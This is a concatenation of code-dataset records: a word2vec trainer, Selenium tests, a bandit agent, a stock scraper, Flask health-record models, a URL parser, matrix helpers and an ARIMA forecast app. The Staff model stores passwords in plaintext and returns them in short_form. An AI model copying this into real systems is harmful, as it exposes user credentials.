sparse = sparse)\n\n if warm_start_model is not None:\n self.skip_gram_model.load_state_dict(torch.load(warm_start_model), strict=False)\n self.optimizer = optimizer\n if optimizer_kwargs is None:\n optimizer_kwargs = {}\n self.optimizer_kwargs = optimizer_kwargs\n self.lr_schedule = lr_schedule\n self.use_cuda = torch.cuda.is_available()\n self.device = torch.device(\"cuda\" if self.use_cuda else \"cpu\")\n if self.use_cuda:\n self.skip_gram_model.cuda()\n\n def train(self):\n if self.optimizer == 'adam':\n optimizer = optim.Adam(self.skip_gram_model.parameters(), lr=self.initial_lr, **self.optimizer_kwargs)\n elif self.optimizer == 'sparse_adam':\n optimizer = optim.SparseAdam(self.skip_gram_model.parameters(), lr=self.initial_lr, **self.optimizer_kwargs)\n elif self.optimizer == 'sgd':\n optimizer = optim.SGD(self.skip_gram_model.parameters(), lr=self.initial_lr, **self.optimizer_kwargs)\n elif self.optimizer == 'asgd':\n optimizer = optim.ASGD(self.skip_gram_model.parameters(), lr=self.initial_lr, **self.optimizer_kwargs)\n elif self.optimizer == 'adagrad':\n optimizer = optim.Adagrad(self.skip_gram_model.parameters(), lr=self.initial_lr, **self.optimizer_kwargs)\n else:\n raise Exception('Unknown optimizer!')\n\n for iteration in range(self.iterations):\n\n print(\"\\n\\n\\nIteration: \" + str(iteration + 1))\n\n if self.lr_schedule:\n scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, len(self.dataloader))\n running_loss = 0.0\n iprint = len(self.dataloader) // 20\n for i, sample_batched in enumerate(tqdm(self.dataloader)):\n\n if len(sample_batched[0]) > 1:\n pos_u = sample_batched[0].to(self.device)\n pos_v = sample_batched[1].to(self.device)\n neg_v = sample_batched[2].to(self.device)\n \n optimizer.zero_grad()\n loss = self.skip_gram_model.forward(pos_u, pos_v, neg_v)\n loss.backward()\n optimizer.step()\n if self.lr_schedule:\n scheduler.step()\n\n running_loss = running_loss * (1 - 5/iprint) + loss.item() * (5/iprint)\n if i > 0 and i % iprint == 0:\n print(\" Loss: \" + str(running_loss) + ' lr: ' \n + str([param_group['lr'] for param_group in optimizer.param_groups]))\n print(\" Loss: \" + str(running_loss))\n\n self.skip_gram_model.save_embedding(self.data.id2word, self.output_file_name)\n \n\n\nif __name__ == '__main__':\n w2v = Word2VecTrainer(input_file=\"input.txt\", output_file=\"out.vec\")\n w2v.train()\n","sub_path":"word2vec/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":4379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"391572083","text":"import math\nimport pytest\nimport time\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\n\n@pytest.fixture(scope=\"function\")\ndef browser():\n browser = webdriver.Chrome()\n browser.implicitly_wait(20)\n yield browser\n browser.quit()\n\n\n@pytest.fixture(scope=\"function\")\ndef get_answer():\n\tanswer = math.log(int(time.time()))\n\tprint(str(answer))\n\treturn str(answer)\n\n\n@pytest.mark.parametrize('lesson_id', \n\t[\"236895\", \"236896\", \"236897\", \"236898\", \"236899\", \"236903\", \"236904\", \"236905\"])\ndef test_user_should_get_correct_optional_feedback(browser, get_answer, lesson_id):\n\tlink = f\"https://stepik.org/lesson/{lesson_id}/step/1\"\n\tbrowser.get(link)\n\n\tWebDriverWait(browser, 20).until(EC.visibility_of_element_located(\n\t\t(By.CSS_SELECTOR, \".ember-text-area.ember-view.textarea.string-quiz__textarea\"))).send_keys(get_answer)\n\n\tWebDriverWait(browser, 20).until(EC.element_to_be_clickable(\n\t\t(By.CSS_SELECTOR, \".submit-submission\"))).click()\n\n\toptional_feedback = WebDriverWait(browser, 20).until(EC.visibility_of_element_located(\n\t\t(By.CSS_SELECTOR, \".smart-hints__hint\"))).text\n\n\tassert optional_feedback == \"Correct!\", f\"Otional feedback is incorrect on page {link}\"\n","sub_path":"selenium_course/chapter3/lesson6_step3.py","file_name":"lesson6_step3.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"476817030","text":"import numpy as np\n\n\nclass EpsGreedy:\n def __init__(self, epsilon, eps_decay, officers, events):\n super().__init__()\n # Set number of arms\n self.narms = 0\n # Exploration probability\n self.epsilon = epsilon\n # Decay rate\n self.eps_decay = eps_decay\n # Total step count\n self.step_n = 0\n\n # officers and events\n self.officers = officers\n self.events = events\n\n # Play one round and return the action (chosen arm)\n def play(self, tround, context=None):\n # Generate random number\n p = np.random.rand()\n\n # Edge case, epsilon = 0, and the first step, we still random\n if self.epsilon == 0 and self.step_n == 0:\n action = self.random_action()\n\n # This case, it goes exploration\n elif p < self.epsilon:\n action = self.random_action()\n # Here, it goes exploitation\n else:\n arm = self.AM_reward.argMax()\n action = np.fromstring(arm, dtype=int).reshape((self.events.num_event, self.events.num_task))\n\n self.tround = tround\n # get the chosen arm\n self.arm = action.tostring()\n self.action = action\n\n self.epsilon = max(0, self.epsilon - self.eps_decay)\n\n # print(\"Action chosen: \\n{}\".format(self.action))\n return action\n\n def random_action(self):\n action = np.random.randint(0, self.officers.num_officer,\n size=(self.events.num_event, self.events.num_task))\n return action\n\n def update(self, action, reward, context=None):\n # get the context (may be None)\n self.context = context\n # update the overall step of the model\n self.step_n += 1\n # update the step of individual arms\n self.step_arm[self.arm] += 1\n # update average mean reward of each arm\n self.AM_reward[self.arm] = ((self.step_arm[self.arm] - 1)\n / float(self.step_arm[self.arm])\n * self.AM_reward[self.arm]\n + (1 / float(self.step_arm[self.arm])) * reward)\n","sub_path":"agents.py","file_name":"agents.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"115294111","text":"import urllib.request as ur\nfrom tkinter import *\n\n# Auf boerse.ard.de spezifische URL des gewünschten Aktienkurses\n# Elemente können beliebig hinzugefügt werden, müssen allerdings auch\n# zu original_price_list sowie amount_list hinzugefügt werden\nsymbols_list = [\"96056\", \"97183\", \"113397\", \"2588247\", \"107654\"]\n# Preis zu dem die Aktie gekauft wurde\noriginal_price_list = [80.5, 60.75, 129.2, 35.04, 23.189]\n# Anzahl der Aktien die gekauft wurden\namount_list = [100, 30, 12, 95, 70]\n\ntotal_change_list = []\nprice_list = []\npercent_list = []\nchange_list = []\nname_list = []\n\n\n# Erstellen der UI\nroot = Tk()\nroot.wm_title(\"PythonScripts\")\nroot.resizable(width=FALSE, height=FALSE)\n\n\n# Aktienkurse von boerse.ard.de abfragen\n# price_list zeigt aktuellen Kurs an\n# percent_list zeigt Kurs des Vortages\n# change_list zeigt prozentuale Änderung\n# name_list zeigt Name der Aktie an\ndef main():\n price_list.clear()\n percent_list.clear()\n change_list.clear()\n total_change_list.clear()\n\n # Speichert gesamtes HTML Dokument in htmltext\n # regex sucht nach Wert zwischen den angegebenen Tags und Zeichen\n # speichern des Werts in priceList sowie percentList\n i = 0\n while i < len(symbols_list):\n url = \"http://kurse.boerse.ard.de/ard/kurse_einzelkurs_uebersicht.htn?i=\" + symbols_list[i]\n htmlfile = ur.urlopen(url)\n htmltext = htmlfile.read().decode('utf8')\n\n regex = ' (.+?) €'\n pattern = re.compile(regex)\n price_list.extend(re.findall(pattern, htmltext))\n\n regex = '(.+?) €'\n pattern_percent = re.compile(regex)\n percent_list.extend(re.findall(pattern_percent, htmltext))\n\n regex = '

News zu (.+?)

'\n patter_name = re.compile(regex)\n name_list.extend(re.findall(patter_name, htmltext))\n i += 1\n\n # Berechnung der Prozentualen Änderung des Kurses\n # Aktueller Kurs - Kurs des Vortags / 100\n i = 0\n while i < len(price_list):\n new = read_float_with_comma(price_list[i])\n old = read_float_with_comma(percent_list[i])\n result = (new - old)\n change_list.append(result)\n result_total = (new * amount_list[i]) - (original_price_list[i] * amount_list[i])\n total_change_list.append(result_total)\n i += 1\n\n # Erstellen des Labels am oberen Rand\n top_label = Label(root, text=\"Aktienkurse\")\n top_label.grid(row=0, column=1, pady=(0, 20), padx=(0, 20))\n\n total = sum(total_change_list)\n if total > 0:\n total_label = Label(root, text=str(\"+\" + \"{0:.2f}\".format(total) + \"€\"), fg=\"green\")\n else:\n if total < 0:\n total_label = Label(root, text=str(\"{0:.2f}\".format(total) + \"€\"), fg=\"red\")\n else:\n total_label = Label(root, text=str(\"{0:.2f}\".format(total) + \"€\"))\n total_label.grid(row=0, column=2, pady=(0, 20))\n\n # Automatisches erstellen der UI\n i = 0\n while i < len(price_list):\n stock_label = Label(root, text=str(name_list[i]))\n stock_label.grid(row=i+1)\n stock_price = Label(root, text=str(price_list[i]) + \"€\")\n stock_price.grid(row=i+1, column=1)\n\n # Wenn die tägliche Änderung positiv ist grüner Text\n # Bei negativer Änderung roter Text\n # Bei 0 schwarzer Text\n if change_list[i] > 0:\n stock_change = Label(root, text=str(\"+\" + \"{0:.2f}\".format(change_list[i]) + \"€\"), fg=\"green\")\n else:\n if change_list[i] < 0:\n stock_change = Label(root, text=str(\"{0:.2f}\".format(change_list[i]) + \"€\"), fg=\"red\")\n else:\n stock_change = Label(root, text=str(\"{0:.2f}\".format(change_list[i])) + \"€\")\n stock_change.grid(row=i+1, column=2)\n\n # Gibt die gesamte Änderung unter Einbeziehung der Besitzanteile und des Kaufkurses wieder\n # Positiv = Grün, Negativ = Rot, Neutral = Schwarz\n if total_change_list[i] > 0:\n stock_total_change = Label(root, text=str(\"+\" + \"{0:.2f}\".format(total_change_list[i]) + \"€\"), fg=\"green\")\n else:\n if total_change_list[i] < 0:\n stock_total_change = Label(root, text=str(\"{0:.2f}\".format(total_change_list[i]) + \"€\"), fg=\"red\")\n else:\n stock_total_change = Label(root, text=str(\"{0:.2f}\".format(total_change_list[i])) + \"€\")\n stock_total_change.grid(row=i+1, column=3, padx=(20, 0))\n i += 1\n\n # Erstellen des Buttons welcher zum Neustarten des main() loops verwendet wird\n # Aktualisieren der aktuellen Börsenkurse\n button_restart = Button(root, text=\"Aktualisieren\", command=main)\n button_restart.grid(row=7, column=0, columnspan=4, pady=(20, 0), padx=(0, 0))\n\n root.mainloop()\n\n\n# Gibt den erhaltenen String als float zurück\n# Ersetzt hierbei \",\" durch \".\" um den Wert zu transformieren\ndef read_float_with_comma(num):\n return float(num.replace(\",\", \".\"))\n\n# Ruft die main() Funktion auf\nif __name__ == '__main__':\n main()\n","sub_path":"StockScraper.py","file_name":"StockScraper.py","file_ext":"py","file_size_in_byte":5131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"347954686","text":"from server import db, app\nimport datetime\nimport jwt\n\n\nclass Patient(db.Model):\n id = db.Column(db.String(20), primary_key=True)\n firstNames = db.Column(db.String(40))\n lastNames = db.Column(db.String(40))\n gender = db.Column(db.String(8))\n dateOfBirth = db.Column(db.String(20))\n\n ehrId = db.Column(db.String(20))\n Personnummer = db.Column(db.String(13))\n\n pulse = db.Column(db.Integer)\n oxSaturation = db.Column(db.Integer)\n sysBloodPressure = db.Column(db.Integer)\n diaBloodPressure = db.Column(db.Integer)\n\n breathingFreq = db.Column(db.Integer)\n alertness = db.Column(db.String(10))\n bodyTemp = db.Column(db.Float)\n\n def serialize(self):\n return {\n 'demographics': {\n 'id': self.id,\n 'firstNames': self.firstNames,\n 'lastNames': self.lastNames,\n 'gender': self.gender,\n 'dateOfBirth': self.dateOfBirth,\n 'additionalInfo': {\n 'ehrId': self.ehrId,\n 'Personnummer': self.Personnummer\n }\n },\n 'vital_signs': {\n 'body_temperature': [\n {\n 'any_event': [\n {\n 'temperature': [\n {\n '|magnitude': self.bodyTemp,\n '|unit': '°C'\n }\n ]\n }\n ]\n }\n ],\n 'blood_pressure': [\n {\n 'any_event': [\n {\n 'systolic': [\n {\n '|unit': 'mm[Hg]',\n '|magnitude': self.sysBloodPressure\n }\n ],\n 'diastolic': [\n {\n '|unit': 'mm[Hg]',\n '|magnitude': self.diaBloodPressure\n }\n ],\n 'position': [\n {\n '|code': 'at1001',\n '|value': 'Sitting'\n }\n ]\n }\n ]\n }\n ]\n },\n 'pulse': self.pulse,\n 'oxygen_saturation': self.oxSaturation,\n 'breathing_frequency': self.breathingFreq,\n 'alertness': self.alertness\n }\n\n def short_form(self):\n return {\n 'firstNames': self.firstNames,\n 'lastNames': self.lastNames,\n 'pid': self.Personnummer,\n 'ehrId': self.ehrId\n }\n\n\nclass Staff(db.Model):\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n username = db.Column(db.String(20), unique=True)\n password = db.Column(db.String(20))\n firstNames = db.Column(db.String(40))\n lastNames = db.Column(db.String(40))\n position = db.Column(db.String(20))\n\n def serialize(self):\n return {\n 'firstNames': self.firstNames,\n 'lastNames': self.lastNames,\n 'position': self.position\n }\n\n def short_form(self):\n return {\n 'username': self.username,\n 'password': self.password\n }\n\n def encode_token(self, user_id):\n payload = {\n 'exp' : datetime.datetime.utcnow() + datetime.timedelta(days=0,seconds=60, hours=1),\n 'iat' : datetime.datetime.utcnow(),\n 'sub' : user_id\n }\n return jwt.encode(\n payload,\n app.config.get('SECRET_KEY'),\n algorithm='HS256'\n )\n\n @staticmethod\n def decode_token(token):\n try:\n payload = jwt.decode(token, app.config.get('SECRET_KEY'))\n if BlacklistToken.check_blacklist(token):\n return 'Blacklisted token please log in again.'\n else:\n return payload['sub']\n except jwt.ExpiredSignatureError:\n return 'Token expired please log in again'\n except jwt.InvalidTokenError:\n return 'Invalid token'\n\n\nclass BlacklistToken(db.Model):\n id = db.Column(db.Integer,primary_key=True, autoincrement=True)\n token = db.Column(db.String(500), unique=True, nullable=False)\n blacklisted_on = db.Column(db.DateTime, nullable=False)\n\n def __init__(self,token):\n self.token = token\n self.blacklisted_on = datetime.datetime.now()\n\n @staticmethod\n def check_blacklist(token):\n res = BlacklistToken.query.filter_by(token=str(token)).first()\n if res:\n return True\n else:\n return False\n\n","sub_path":"Backend/server/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"124250694","text":"import numpy as np\nimport copy\nimport math\n\nclass Matrix:\n def identityMat4x4():\n data = np.zeros((4,4))\n for i in range(0,4):\n data[i][i]=1\n\n return data\n\n def linear(data):\n #ldata = copy.deepcopy(data[0:3,0:3])\n ldata = data[0:3,0:3]\n return ldata\n\n def col(data,i):\n #cData = copy.deepcopy(data[0:,i])\n cData = data[0:,i]\n return cData\n\n def UnitY():\n data = np.zeros((1,3))\n data[0][1] = 1\n\n return data\n\n def size(data):\n sum = 0\n for i in range(0,3):\n #print(i)\n sum = sum + data[i]*data[i]\n #print(sum)\n #print(sum)\n #quit()\n sum = math.sqrt(sum)\n\n return sum\n\n def normalize(data):\n #print(data)\n \n result = []\n sum = Matrix.size(data)\n if np.abs(sum) < 1e-6:\n print(data)\n input()\n sum = 1\n for i in data:\n result.append(i/sum)\n \n return result\n def size_2D(data):\n sum = 0\n for i in data:\n for j in i:\n sum = sum + j*j\n #print(sum)\n #quit()\n sum = math.sqrt(sum)\n return sum\n \n def normalize_2D(data):\n result = []\n sum = Matrix.size_2D(data)\n for i in data:\n for j in i:\n result.append(j/sum)\n #print(\"555\")\n\n #print(result)\n\n return result\n def setTranslation(data, trans):\n data[0:3,3] = trans\n\n def setlinearCol(data, i, setData):\n #print(setData)\n #quit()\n data[0:3,i] = setData\n\n def getTranslation(data):\n #return copy.deepcopy(data[0:3,3])\n return data[0:3,3]\n\n def multTrans(transM, pos):\n pos = np.append(pos,1)\n pos =np.dot(transM, pos)\n return pos[0:3]\n\n def getNormal(a,b,c):\n ab = np.subtract(b,a)\n ac = np.subtract(c,a)\n nor = np.cross(ab,ac)\n nnor = Matrix.normalize(nor)\n\n return nnor\n\nif __name__ == \"__main__\":\n data = Matrix.identityMat4x4()\n data2 =Matrix.linear(data)\n print(data)\n print(data2)\n data2[1][0] = 3\n \n data3 = Matrix.col(data2,0)\n data3[0]=5\n print(data)\n print(data2)\n print(data3) \n\n Unityy = Matrix.UnitY()\n\n print(Unityy)\n \n data4=Matrix.normalize(data3)\n print(data3)\n print(data4)\n\n newData = Matrix.identityMat4x4()\n\n trans = [3,5,7]\n xx = [1,2,3]\n yy = [4,5,6]\n zz = [7,8,9]\n\n xx = Matrix.normalize(xx)\n\n Matrix.setTranslation(newData,trans)\n\n Matrix.setlinearCol(newData,0,xx)\n Matrix.setlinearCol(newData,1,yy)\n Matrix.setlinearCol(newData,2,zz)\n\n print(newData)\n\n trrr = Matrix.getTranslation(newData)\n\n print(trrr)\n\n","sub_path":"gym-foo/cMat.py","file_name":"cMat.py","file_ext":"py","file_size_in_byte":2825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"498629282","text":"# -*- coding: utf-8 -*-\n# Copyright (C) 2010-2015 Mag. Christian Tanzer All rights reserved\n# Glasauergasse 32, A--1130 Wien, Austria. tanzer@swing.co.at\n# ****************************************************************************\n# This module is part of the package TFL.\n#\n# This module is licensed under the terms of the BSD 3-Clause License\n# .\n# ****************************************************************************\n#\n#++\n# Name\n# TFL.Url\n#\n# Purpose\n# Model a URL and its parts\n#\n# Revision Dates\n# 23-Jun-2010 (CT) Creation\n# 24-Jun-2010 (CT) `new` added\n# 24-Jun-2010 (CT) Optional argument `fs_path` added\n# 13-Jul-2010 (CT) `__contains__` and `split` added\n# 13-Jul-2010 (CT) `__init__` changed to accept `Url` instance as `value`\n# 28-Jan-2013 (CT) Add `abs_path`\n# 16-Oct-2015 (CT) Add `__future__` imports\n# ««revision-date»»···\n#--\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom _TFL import TFL\nfrom _TFL.pyk import pyk\n\nfrom _TFL.Regexp import *\n\nimport _TFL._Meta.Object\nimport _TFL._Meta.Once_Property\n\nimport _TFL.Accessor\nimport _TFL.Record\n\nclass Url (TFL.Meta.Object) :\n \"\"\"Model a URL and its parts as defined by RFC 3986.\n\n >>> Url (\"http://www.ics.uci.edu/pub/ietf/uri/#Related\")\n Url (authority = 'www.ics.uci.edu', fragment = 'Related', path = '/pub/ietf/uri/', query = '', scheme = 'http')\n >>> Url (\"scheme://username:password@domain:port/path?foo=bar#anchor\")\n Url (authority = 'username:password@domain:port', fragment = 'anchor', path = '/path', query = 'foo=bar', scheme = 'scheme')\n >>> Url (\"foo://example.com:8042/over/there?name=ferret#nose\")\n Url (authority = 'example.com:8042', fragment = 'nose', path = '/over/there', query = 'name=ferret', scheme = 'foo')\n >>> Url (\"/tmp/foo.bar\")\n Url (authority = '', fragment = '', path = '/tmp/foo.bar', query = '', scheme = '')\n >>> Url (\"http://a/b/c/g;x?y#s\")\n Url (authority = 'a', fragment = 's', path = '/b/c/g;x', query = 'y', scheme = 'http')\n >>> Url (\"ftp://cnn.example.com&story=breaking_news@10.0.0.1/top_story.htm\")\n Url (authority = 'cnn.example.com&story=breaking_news@10.0.0.1', fragment = '', path = '/top_story.htm', query = '', scheme = 'ftp')\n\n >>> Url (\"sqlite://\")\n Url (authority = '', fragment = '', path = '', query = '', scheme = 'sqlite')\n >>> Url (\"sqlite:///foo.db\")\n Url (authority = '', fragment = '', path = '/foo.db', query = '', scheme = 'sqlite')\n >>> Url (\"sqlite:////foo.db\")\n Url (authority = '', fragment = '', path = '//foo.db', query = '', scheme = 'sqlite')\n\n >>> Url (\"postgresql://scott:tiger@localhost/mydatabase\")\n Url (authority = 'scott:tiger@localhost', fragment = '', path = '/mydatabase', query = '', scheme = 'postgresql')\n >>> Url (\"postgresql+pg8000://scott:tiger@localhost/mydatabase\")\n Url (authority = 'scott:tiger@localhost', fragment = '', path = '/mydatabase', query = '', scheme = 'postgresql+pg8000')\n\n >>> Url (\"hps://test.foo\")\n Url (authority = 'test.foo', fragment = '', path = '', query = '', scheme = 'hps')\n >>> Url (\"hps:///test.foo\")\n Url (authority = '', fragment = '', path = '/test.foo', query = '', scheme = 'hps')\n >>> Url (\"hps://\")\n Url (authority = '', fragment = '', path = '', query = '', scheme = 'hps')\n >>> Url (\"hps:\")\n Url (authority = '', fragment = '', path = '', query = '', scheme = 'hps')\n\n >>> u = Url (\"hps://\")\n >>> Url.new (u, path = \"test.foo\")\n Url (authority = '', fragment = '', path = '/test.foo', query = '', scheme = 'hps')\n >>> Url.new (u, path = \"/test.foo\")\n Url (authority = '', fragment = '', path = '//test.foo', query = '', scheme = 'hps')\n\n >>> Url.new (u, path = \"test.foo\", fs_path = True)\n Url (authority = '', fragment = '', path = 'test.foo', query = '', scheme = 'hps')\n >>> Url.new (u, path = \"/test.foo\", fs_path = True)\n Url (authority = '', fragment = '', path = '/test.foo', query = '', scheme = 'hps')\n\n \"\"\"\n\n _format = \"%(scheme)s://%(authority)s/%(path)s\"\n\n ### Use regexp as given by http://www.ietf.org/rfc/rfc3986.txt\n ### and http://www.apps.ietf.org/rfc/rfc3986.html\n ###\n ### (urlparse is broken because it doesn't parse `query` and `fragments`\n ### for unknown schemes)\n _matcher = Regexp \\\n ( r\"\"\"^(?:(?P[^:/?#]+):)?\"\"\"\n r\"\"\"(?://(?P[^/?#]*))?\"\"\"\n r\"\"\"(?P[^?#]*)\"\"\"\n r\"\"\"(?:\\?(?P[^#]*))?\"\"\"\n r\"\"\"(?:#(?P.*))?\"\"\"\n )\n\n authority = property (TFL.Getter._parsed.authority)\n fragment = property (TFL.Getter._parsed.fragment)\n path = property (TFL.Getter._parsed.path)\n query = property (TFL.Getter._parsed.query)\n scheme = property (TFL.Getter._parsed.scheme)\n value = property (TFL.Getter._value)\n\n def __init__ (self, value, fs_path = False) :\n if isinstance (value, Url) :\n self._value = value._value\n self._parsed = TFL.Record (** value._parsed._kw)\n elif self._matcher.match (value) :\n self._value = value\n attrs = dict \\\n ( (k, v or \"\")\n for (k, v) in pyk.iteritems (self._matcher.groupdict ())\n )\n self._parsed = p = TFL.Record (** attrs)\n if fs_path and p.path.startswith (\"/\") :\n p.path = p.path [1:]\n else :\n raise ValueError (value)\n # end def __init__\n\n @classmethod\n def new (cls, proto = None, ** kw) :\n dct = {}\n if proto is not None :\n dct.update (proto._parsed._kw)\n dct.update (kw)\n result = cls._format % dct\n q = dct [\"query\"]\n if q :\n result = \"%s?%s\" % (result, q)\n f = dct [\"fragment\"]\n if f :\n result = \"%s#%s\" % (result, f)\n return cls (result, fs_path = kw.get (\"fs_path\"))\n # end def new\n\n @TFL.Meta.Once_Property\n def abs_path (self) :\n from _TFL import sos\n return sos.path.abspath (self.path)\n # end def abs_path\n\n def split (self, sep, * args, ** kw) :\n return self._value.split (sep, * args, ** kw)\n # end def split\n\n def __contains__ (self, item) :\n return item in self._value\n # end def __contains__\n\n def __repr__ (self) :\n return \"Url \" + str (self._parsed)\n # end def __repr__\n\n def __str__ (self) :\n return self._value\n # end def __str__\n\n# end class Url\n\nif __name__ != \"__main__\" :\n TFL._Export (\"*\")\n### __END__ TFL.Url\n","sub_path":"Functions/venv/lib/python3.6/site-packages/_TFL/Url.py","file_name":"Url.py","file_ext":"py","file_size_in_byte":6878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"317947301","text":"import streamlit as st\nimport warnings\nwarnings.filterwarnings('ignore')\nimport pandas as pd\nimport matplotlib.pyplot as plt\nplt.style.use('fivethirtyeight')\nfrom pylab import rcParams\nrcParams['figure.figsize'] = 10, 6\nfrom statsmodels.tsa.stattools import adfuller\nfrom statsmodels.tsa.seasonal import seasonal_decompose\nfrom statsmodels.tsa.arima_model import ARIMA\nfrom pmdarima.arima import auto_arima\nfrom sklearn.metrics import mean_squared_error, mean_absolute_error\nimport math\nimport numpy as np\nfrom yahooquery import Ticker\nimport datetime as dt\n\nasset = st.text_input(\"Enter here: \")\n\nticker_input_ti = Ticker(asset)\nhistory_args = {\n \"period\": \"1y\",\n \"interval\": \"1d\",\n \"start\": dt.datetime.now() - dt.timedelta(days=365),\n \"end\": None,\n}\noption_1 = st.selectbox(\"Select Period or Start / End Dates\", [\"Period\", \"Dates\"], 0)\nif option_1 == \"Period\":\n history_args[\"period\"] = st.selectbox(\n \"Select Period\", options=Ticker.PERIODS, index=5 # pylint: disable=protected-access\n )\n\n history_args[\"start\"] = None\n history_args[\"end\"] = None\nelse:\n history_args[\"start\"] = st.date_input(\"Select Start Date\", value=history_args[\"start\"])\n history_args[\"end\"] = st.date_input(\"Select End Date\")\n history_args[\"period\"] = None\n\nst.markdown(\"**THEN**\")\nhistory_args[\"interval\"] = st.selectbox(\n \"Select Interval\", options=Ticker.INTERVALS, index=8 # pylint: disable=protected-access\n)\nargs_string = [str(k) + \"='\" + str(v) + \"'\" for k, v in history_args.items() if v is not None]\nst.write(\"Dataframe\")\ndataframe_ti = ticker_input_ti.history(**history_args)\nif isinstance(dataframe_ti, dict):\n st.write(dataframe_ti)\nelse:\n st.dataframe(dataframe_ti)\n\n\ndateparse = lambda dates: pd.datetime.strptime(dates, '%Y-%m-%d')\ndata = pd.read_csv('data//AAPL.csv',sep=',', index_col='Date', parse_dates=['Date'], date_parser=dateparse).fillna(0)\n\n#plot close price\nfig_1 = plt.figure(figsize=(10,6))\nplt.grid(True)\nplt.xlabel('Dates')\nplt.ylabel('Close Prices')\nplt.plot(data['Close'])\nplt.title('Apple Inc. (AAPL) closing price')\n\nst.subheader(\"Figure 1\")\nst.pyplot(fig_1)\n\n\ndf_close = data['Close']\ndf_close.plot(style='k.')\nplt.title('Scatter plot of closing price')\nst.subheader(\"Figure 2\")\nst.pyplot(fig_1)\n\n# Test for staionarity\ndef test_stationarity(timeseries):\n # Determing rolling statistics\n rolmean = timeseries.rolling(12).mean()\n rolstd = timeseries.rolling(12).std()\n # Plot rolling statistics:\n plt.plot(timeseries, color='blue', label='Original')\n plt.plot(rolmean, color='red', label='Rolling Mean')\n plt.plot(rolstd, color='black', label='Rolling Std')\n plt.legend(loc='best')\n plt.title('Rolling Mean and Standard Deviation')\n plt.show(block=False)\n\n adft = adfuller(timeseries, autolag='AIC')\n # output for dft will give us without defining what the values are.\n # hence we manually write what values does it explains using a for loop\n output = pd.Series(adft[0:4],\n index=['Test Statistics', 'p-value', 'No. of lags used', 'Number of observations used'])\n for key, values in adft[4].items():\n output['critical value (%s)' % key] = values\n\n\n\n\nresult = seasonal_decompose(df_close, model='multiplicative', freq = 30)\nfig_3 = plt.figure()\nfig_3 = result.plot()\nfig_3.set_size_inches(16, 9)\n\nrcParams['figure.figsize'] = 10, 6\ndf_log = np.log(df_close)\nmoving_avg = df_log.rolling(12).mean()\nstd_dev = df_log.rolling(12).std()\nplt.legend(loc='best')\nplt.title('Moving Average')\nplt.plot(std_dev, color =\"black\", label = \"Standard Deviation\")\nplt.plot(moving_avg, color=\"red\", label = \"Mean\")\nplt.legend()\nst.subheader(\"Figure 3\")\nst.write(fig_3)\n\n#split data into train and training set\ntrain_data, test_data = df_log[3:int(len(df_log)*0.9)], df_log[int(len(df_log)*0.9):]\nfig_4 = plt.figure(figsize=(10,6))\nplt.grid(True)\nplt.xlabel('Dates')\nplt.ylabel('Closing Prices')\nplt.plot(df_log, 'green', label='Train data')\nplt.plot(test_data, 'blue', label='Test data')\nplt.legend()\nst.write(fig_4)\n\nmodel_autoARIMA = auto_arima(train_data, start_p=0, start_q=0,\n test='adf', # use adftest to find optimal 'd'\n max_p=3, max_q=3, # maximum p and q\n m=1, # frequency of series\n d=None, # let model determine 'd'\n seasonal=False, # No Seasonality\n start_P=0,\n D=0,\n trace=True,\n error_action='ignore',\n suppress_warnings=True,\n stepwise=True)\n\n\n\nfig_5 = model_autoARIMA.plot_diagnostics(figsize=(15,8))\n\nst.write(fig_5)\n\nmodel = ARIMA(train_data, order=(3, 1, 2))\nfitted = model.fit(disp=-1)\n\n\n# Forecast\nfc, se, conf = fitted.forecast(544, alpha=0.05) # 95% confidence\nfc_series = pd.Series(fc, index=test_data.index)\nlower_series = pd.Series(conf[:, 0], index=test_data.index)\nupper_series = pd.Series(conf[:, 1], index=test_data.index)\nfig_6 = plt.figure(figsize=(12,5), dpi=100)\nplt.plot(train_data, label='training')\nplt.plot(test_data, color = 'blue', label='Actual Stock Price')\nplt.plot(fc_series, color = 'orange',label='Predicted Stock Price')\nplt.fill_between(lower_series.index, lower_series, upper_series,\n color='k', alpha=.10)\nplt.title('Apple Inc. Stock Price Prediction')\nplt.xlabel('Time')\nplt.ylabel('Actual Stock Price')\nplt.legend(loc='upper left', fontsize=8)\n\nst.write(fig_6)\n\n\n\n\n","sub_path":"predict2.py","file_name":"predict2.py","file_ext":"py","file_size_in_byte":5525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"200233350","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support.ui import Select\nimport Functions\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.common.exceptions import NoAlertPresentException\nimport unittest, re, string, sys\nimport time as time1\nfrom datetime import date\nfrom datetime import time \nfrom datetime import datetime\nfrom datetime import timedelta\n\nclass Test_FilterByStatus(unittest.TestCase):\n def setUp(self):\n self.driver = webdriver.Firefox()\n self.base_url = \"http://portal.qa.calipercorp.com/users/sign_in\"\n self.verificationErrors = []\n self.accept_next_alert = True\n\n def is_element_present(self, how, what):\n try:\n self.driver.find_element(by=how, value=what)\n except NoSuchElementException as e:\n return False\n return True\n\n def is_alert_present(self):\n try:\n self.driver.switch_to_alert()\n except NoAlertPresentException as e:\n return False\n return True\n\n def 